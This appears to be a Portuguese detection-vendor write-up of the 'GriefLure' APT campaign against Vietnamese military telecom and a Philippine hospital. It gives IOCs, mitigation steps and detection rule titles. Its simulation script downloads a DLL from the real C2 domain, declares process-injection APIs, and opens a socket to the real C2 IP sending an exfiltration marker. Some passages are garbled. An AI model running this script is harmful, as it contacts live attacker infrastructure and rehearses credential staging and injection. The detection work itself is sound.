Operação GriefLure: Dissecando uma Campanha APT que Ataca o Setor de Telecomunicações Militares do Vietnã e a Saúde das Filipinas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O Seqrite Labs identificou uma campanha de spear-phishing direcionada que dependia de arquivos maliciosos Windows LNK ocultos dentro de arquivos RAR duplamente compactados. Quando abertos, os LNKs iniciavam um ftp.exe carregador que reconstruía um payload polimórfico chamado sfsvc.exe a partir de .doc fragmentados armazenados na máquina da vítima. A atividade tinha como alvo executivos seniores do setor de telecomunicações controlado pelo exército do Vietnã e funcionários de um hospital privado nas Filipinas, utilizando documentos que pareciam legítimos como isca. Toda a cadeia de infecção era completada em menos de dez segundos e deixava apenas artefatos mínimos no disco.
Investigação
A investigação detalhou a estrutura do arquivo, mapeou o caminho de execução do LNK e fez a engenharia reversa do sfsvc.exe carregador personalizado, que foi projetado para se assemelhar ao regsvr32.exe. Os analistas documentaram o carregamento de DLL de modo indireto, execução de shellcode em memória, injeção de processos e comunicações de comando e controle através de um domínio disfarçado. A revisão dos artefatos também revelou um domínio C2 codificado, www.whatsappcenter.com, hospedado através de um provedor blindado em Hong Kong.
Mitigação
Defensores devem bloquear a execução de arquivos LNK entregues via anexos de email e monitorar o uso do ftp.exe com argumentos de linha de comando suspeitos. A detecção em endpoint deve focar em carregamento de DLLs sem arquivos, gravações de fluxo de dados alternativo em C:UsersPublicUpdate, e rápida criação de sfsvc.exe. As organizações também devem fortalecer as verificações de proveniência de documentos e educar os usuários sobre iscas que parecem ser arquivos legais legítimos ou relacionados a denúncias.
Resposta
Se o LNK malicioso ou sfsvc.exe processo for detectado, isole imediatamente o endpoint afetado, colete a memória volátil e procure por 360.*.dll arquivos de carregadores e artefatos de fluxos de dados alternativos. O domínio de comando e controle identificado e o endereço IP relacionado devem ser bloqueados, e a resposta a incidentes deve começar para determinar se algum dado foi exfiltrado. Uma busca mais ampla também deve ser conduzida para atividades semelhantes impulsionadas por LNKs no ambiente. ftp.exe loader activity across the environment.
Fluxo de Ataque
Detecções
Possível Arquivo LNK Malicioso com Extensão Dupla (via cmdline)
Ver
Possível Execução de Script FTP com Extensões Incomuns (via cmdline)
Ver
Execução Suspeita a partir do Perfil de Usuário Público (via criação de processo)
Ver
Software Alternativo de Acesso Remoto / Gerenciamento (via criação de processo)
Ver
Arquivos Suspeitos no Perfil de Usuário Público (via evento de arquivo)
Ver
IOCs (HashSha256) para detectar: Operação GriefLure: Dissecando uma Campanha APT Alvo na Telecom Militar do Vietnã & Saúde nas Filipinas
Ver
IOCs (SourceIP) para detectar: Operação GriefLure: Dissecando uma Campanha APT Alvo na Telecom Militar do Vietnã & Saúde nas Filipinas
Ver
IOCs (DestinationIP) para detectar: Operação GriefLure: Dissecando uma Campanha APT Alvo na Telecom Militar do Vietnã & Saúde nas Filipinas
Ver
Detecção de Comunicação C2 da Operação GriefLure [Conexão de Rede do Windows]
Ver
Detecção de Atividade da Operação GriefLure Usando ftp.exe e sfsvc.exe [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação de Pré-voo de Telemetria & Linha de Base deve ter sido aprovada.
Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errados.
-
Narrativa do Ataque & Comandos:
O atacante, tendo obtido acesso inicial através de um anexo de phishing (T1566.001, T1204.002), opta por uma abordagem de living‑off‑the‑land para evitar payloads executáveis. Usando ocmd.exe(embutido (), eles lançam um comando PowerShell de uma linha que executa os seguintes passos:- Descoberta – enumerar informações do sistema (T1082) e processos em execução (T1057) para decidir sobre um alvo de injeção adequado.
- Coleta de Credenciais – ler armazenamentos de navegador (T1555.003) e despejar arquivos de credenciais (T1552.001) para uma pasta de preparação.
- Recuperação de Payload – baixar uma DLL maliciosa do domínio C2
www.whatsappcenter.comvia HTTPS (T1071.001, T1041). - ) Injeção de Processo
– injetar a DLL em(– injetar a DLL empara obter persistência e elevar privilégios. - Comunicação C2 – abrir uma conexão TCP persistente para
38.54.122.188(o IP codificado) e começar a exfiltrar os dados coletados.
O passo crítico que satisfaz a regra Sigma é a tentativa de conexão de saída para o domínio/IP exato, que será registrado pelo Sysmon e pelo firewall do Windows.
-
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de C2 do GriefLure – versão PowerShell # ------------------------------------------------- # 1. Descoberta do Sistema (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. Simular coleta de credenciais (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. Baixar DLL maliciosa do domínio C2 codificado (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. Injetar DLL em explorer.exe (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (Os passos reais de injeção são omitidos por brevidade; em um teste real você chamaria as APIs acima.) # 5. Abrir socket C2 persistente para o IP codificado (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
Comandos de Limpeza:
# Remover arquivos preparados Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # Fechar quaisquer conexões TCP restantes (se ainda estiverem abertas) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Opcionalmente redefinir o buffer do Sysmon (para um estado limpo em testes repetidos) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml